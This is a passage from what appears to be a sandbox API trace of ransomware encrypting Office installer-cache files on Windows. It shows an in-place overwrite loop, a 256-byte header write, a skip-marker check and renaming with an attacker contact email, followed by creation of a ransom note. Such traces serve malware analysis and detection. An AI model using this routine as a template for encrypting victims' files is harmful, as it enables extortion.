[0034.032] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 126
[0034.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0034.033] GetProcessHeap () returned 0x2e0000
[0034.033] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.033] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1
[0034.033] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 84
[0034.033] StrStrIW (lpFirst="PowerPointMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0034.033] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.033] GetProcessHeap () returned 0x2e0000
[0034.033] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0034.033] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x5aa, lpOverlapped=0x0) returned 1
[0034.035] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0034.035] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x5aa, lpOverlapped=0x0) returned 1
[0034.035] GetProcessHeap () returned 0x2e0000
[0034.035] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.035] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0034.035] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0034.035] CloseHandle (hObject=0x10c) returned 1
[0034.036] GetProcessHeap () returned 0x2e0000
[0034.036] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0034.036] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 126
[0034.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0034.037] GetProcessHeap () returned 0x2e0000
[0034.037] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.037] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1
[0034.037] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 76
[0034.037] StrStrIW (lpFirst="PptLR.cab", lpSrch="SDfghjkl") returned 0x0
[0034.037] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.038] GetProcessHeap () returned 0x2e0000
[0034.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0034.038] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0034.041] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0034.041] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0034.056] GetProcessHeap () returned 0x2e0000
[0034.056] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.056] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0034.057] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0034.059] CloseHandle (hObject=0x10c) returned 1
[0034.834] GetProcessHeap () returned 0x2e0000
[0034.834] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0034.834] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0034.834] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0034.834] GetProcessHeap () returned 0x2e0000
[0034.834] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.835] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0034.835] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0034.835] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0034.835] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.835] GetProcessHeap () returned 0x2e0000
[0034.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0034.835] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x75e, lpOverlapped=0x0) returned 1
[0034.836] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff8a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0034.837] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x75e, lpOverlapped=0x0) returned 1
[0034.837] GetProcessHeap () returned 0x2e0000
[0034.837] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.837] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0034.837] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0034.837] CloseHandle (hObject=0x10c) returned 1
[0034.838] GetProcessHeap () returned 0x2e0000
[0034.838] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0034.838] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0034.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0034.838] GetProcessHeap () returned 0x2e0000
[0034.838] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.839] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0034.839] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0034.839] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.839] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0034.840] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0034.840] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0034.840] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0034.840] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0034.840] CloseHandle (hObject=0x10c) returned 1
[0034.840] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0034.840] GetProcessHeap () returned 0x2e0000
[0034.840] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0034.840] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1
[0034.840] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned 66
[0034.840] GetProcessHeap () returned 0x2e0000
[0034.840] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0034.840] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*") returned 68
[0034.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0034.843] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.") returned 68
[0034.843] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0034.843] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0034.843] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0034.843] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..") returned 69
[0034.843] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0034.843] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0034.843] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1
[0034.843] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 83
[0034.843] StrStrIW (lpFirst="PublisherMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0034.843] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.844] GetProcessHeap () returned 0x2e0000
[0034.844] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0034.844] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0034.846] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0034.846] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0034.846] GetProcessHeap () returned 0x2e0000
[0034.846] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.847] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0034.847] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0034.849] CloseHandle (hObject=0x10c) returned 1
[0034.967] GetProcessHeap () returned 0x2e0000
[0034.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0034.967] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0034.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0034.968] GetProcessHeap () returned 0x2e0000
[0034.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.968] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1
[0034.968] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 83
[0034.968] StrStrIW (lpFirst="PublisherMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0034.968] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.968] GetProcessHeap () returned 0x2e0000
[0034.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0034.968] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x5aa, lpOverlapped=0x0) returned 1
[0034.970] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0034.970] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x5aa, lpOverlapped=0x0) returned 1
[0034.970] GetProcessHeap () returned 0x2e0000
[0034.970] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.970] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0034.970] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0034.970] CloseHandle (hObject=0x10c) returned 1
[0034.971] GetProcessHeap () returned 0x2e0000
[0034.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0034.971] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
